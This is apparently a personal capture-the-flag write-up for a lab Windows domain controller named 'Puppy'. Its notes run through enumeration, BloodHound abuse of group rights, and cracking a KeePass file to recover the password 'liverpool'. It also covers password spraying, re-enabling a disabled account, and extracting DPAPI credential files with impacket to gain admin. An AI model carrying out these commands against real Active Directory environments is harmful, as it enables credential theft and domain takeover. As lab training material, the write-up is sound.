This is an assumed breach scenario. We start with the credentials of `levi.james`
# Initial Enumeration
## nmap
```sh
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2026-11-06 08:14:55Z)
111/tcp open rpcbind syn-ack 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack
2049/tcp open nlockmgr syn-ack 1-4 (RPC #100021)
3260/tcp open iscsi? syn-ack
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack .NET Message Framing
Host script results:
| smb2-time:
| date: 2026-11-06T08:16:43
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 6h59m27s
```
# Access as levi.james
## bloodhound
```sh
rusthound-ce --domain 'puppy.htb' -u '
[email protected]' -p 'REDACTED' -z
```
![[Pasted image 20261105193206.png]]
`GenericWrite` over `Developers` group
```sh
┌──(chromite㉿parrot)-[~/htb/puppy]
└─$ bloodyad --host $target -d 'puppy.htb' -u 'levi.james' -p 'REDACTED' add groupMember 'developers' 'levi.james'
[+] levi.james added to developers
```
![[Pasted image 20261105193452.png]]
Got read access over `DEV`
```sh
┌──(chromite㉿parrot)-[~/htb/puppy]
└─$ impacket-smbclient 'PUPPY.HTB/levi.james:REDACTED'@$target
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# use DEV
# ls
drw-rw-rw- 0 Sun Mar 23 02:07:57 2025 .
drw-rw-rw- 0 Sat Mar 8 10:52:57 2025 ..
-rw-rw-rw- 34394112 Sun Mar 23 02:09:12 2025 KeePassXC-2.7.9-Win64.msi
drw-rw-rw- 0 Sun Mar 9 15:16:16 2025 Projects
-rw-rw-rw- 2677 Tue Mar 11 21:25:46 2025 recovery.kdbx
# mget *
[*] Downloading KeePassXC-2.7.9-Win64.msi
[*] Downloading recovery.kdbx
# cd Projects
# ls
drw-rw-rw- 0 Sun Mar 9 15:16:16 2025 .
drw-rw-rw- 0 Sun Mar 23 02:07:57 2025 ..
# cd ..
# ls
drw-rw-rw- 0 Sun Mar 23 02:07:57 2025 .
drw-rw-rw- 0 Sat Mar 8 10:52:57 2025 ..
-rw-rw-rw- 34394112 Sun Mar 23 02:09:12 2025 KeePassXC-2.7.9-Win64.msi
drw-rw-rw- 0 Sun Mar 9 15:16:16 2025 Projects
-rw-rw-rw- 2677 Tue Mar 11 21:25:46 2025 recovery.kdbx
```
Downloaded `keepass` recovery and installer
![[Pasted image 20261105195354.png]]
https://fwieser.de/en/posts/2609_restoring_keepass_password/
We have to build hashcat from source or at least the `.so`
https://github.com/hashcat/hashcat/blob/master/src/modules/module_34301.c
## keepass `File version '40000'`
![[Pasted image 20261105203326.png]]
Nice just installed on the my host machine, since you really should be running hashcat on a bare metal host with a gpu
![[Pasted image 20261105203520.png]]
The password is `liverpool`
![[Pasted image 20261106140752.png]]
## pass spray
```sh
nxc smb $target -u users.list -p pass.list --continue-on-success
```
![[Pasted image 20261106141048.png]]
Only valid pass found
# Access as ant.edwards
![[Pasted image 20261106141014.png]]
User is a member of `Senior Devs` and has `GenericAll` over `adam.silver`
## Force Change Password
![[Pasted image 20261106141429.png]]
```sh
┌──(chromite㉿parrot)-[~/htb/puppy]
└─$ nxc smb $target -u 'adam.silver' -p 'REDACTED' --shares
SMB 10.129.232.75 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.232.75 445 DC [-] PUPPY.HTB\adam.silver:Password123! STATUS_ACCOUNT_DISABLED
```
But we get account is disabled
### BloodyAD Enable Account
```sh
┌──(chromite㉿parrot)-[~/htb/puppy]
└─$ bloodyAD --host $target -d puppy.htb -u 'ant.edwards' -p 'REDACTED' remove uac 'adam.silver' -f ACCOUNTDISABLE
[+] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl
```
![[Pasted image 20261106141929.png]]
From bloodhound we know that `adam` is a member of `Remote Management Users`
# Access as adam.silver
## user flag
![[Pasted image 20261106142231.png]]
However bloodhound shows no path forward after this, we remember that `ant` was a member of senior devs and we also found a backup directory at `C:\`
![[Pasted image 20261106142508.png]]
## backup file
Seems to be a back up to a web app
We found a config file as `xml`
![[Pasted image 20261106142638.png]]
![[Pasted image 20261106142712.png]]
Credentials are valid
# Access as steph.cooper
No outbound control but we are a member of `Remote Management Users`
```sh
evil-winrm -i $target -u 'steph.cooper' -p 'REDACTED'
```
Not much in here, might go back to `ant.edwards` and try to write a `lnk` file
# Back to ant.edwards
![[Pasted image 20261106144409.png]]
```sh
sudo responder -I tun0 -v
```
We're not getting anything back
# Back to steph.cooper
(Got a hint to go after DPAPI)
This was from the `winpeas`
```sh
ÉÍÍÍÍÍÍÍÍÍ͹ Checking for DPAPI Master Keys
È https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
MasterKey: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407
Accessed: 3/8/2025 7:40:36 AM
Modified: 3/8/2025 7:40:36 AM
=================================================================================================
ÉÍÍÍÍÍÍÍÍÍ͹ Checking for DPAPI Credential Files
È https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
CredFile: C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
Description: Local Credential Data
MasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407
Accessed: 3/8/2025 8:14:09 AM
Modified: 3/8/2025 8:14:09 AM
Size: 11068
=================================================================================================
CredFile: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9
Description: Enterprise Credential Data
MasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407
Accessed: 3/8/2025 7:54:29 AM
Modified: 3/8/2025 7:54:29 AM
Size: 414
=================================================================================================
```
## decrypting dpapi
```sh
*Evil-WinRM* PS C:\Users\steph.cooper\appdata\roaming\microsoft\protect\S-1-5-21-1487982659-1829050783-2281216199-1107> cp 556a2412-1275-4ccf-b721-e6a0b4f90407 \temp\masterkey
*Evil-WinRM* PS C:\Users\steph.cooper\appdata\roaming\microsoft\Credentials> cp C8D69EBE9A43E9DEBF6B5FBD48B521B9 \temp\remote-cred
*Evil-WinRM* PS C:\Users\steph.cooper\appdata\local\microsoft\credentials> cp DFBE70A7E5CC19A398EBF1B96859CE5D \temp\local-cred
*Evil-WinRM* PS C:\temp> attrib -s -h masterkey
*Evil-WinRM* PS C:\temp> attrib -s -h local-cred
*Evil-WinRM* PS C:\temp> attrib -s -h remote-cred
*Evil-WinRM* PS C:\temp> download masterkey
Info: Downloading C:\temp\masterkey to masterkey
Info: Download successful!
*Evil-WinRM* PS C:\temp> download local-cred
Info: Downloading C:\temp\local-cred to local-cred
Info: Download successful!
*Evil-WinRM* PS C:\temp> download remote-cred
Info: Downloading C:\temp\remote-cred to remote-cred
Info: Download successful!
```
### Decrypt MasterKey
```sh
impacket-dpapi masterkey -file master-key -sid 'S-1-5-21-1487982659-1829050783-2281216199-1107' -password 'REDACTED'
```
![[Pasted image 20261106165218.png]]
### Decrypt DPAPI Secrets
```sh
impacket-dpapi credential -file local-cred -key 'REDACTED'
```
![[Pasted image 20261106165438.png]]
Nothing useful in the local one
```sh
impacket-dpapi credential -file remote-cred -key 'REDACTED'
```
![[Pasted image 20261106165534.png]]
We have `steph`'s admin's credentials
#### Root Flag
![[Pasted image 20261106165705.png]]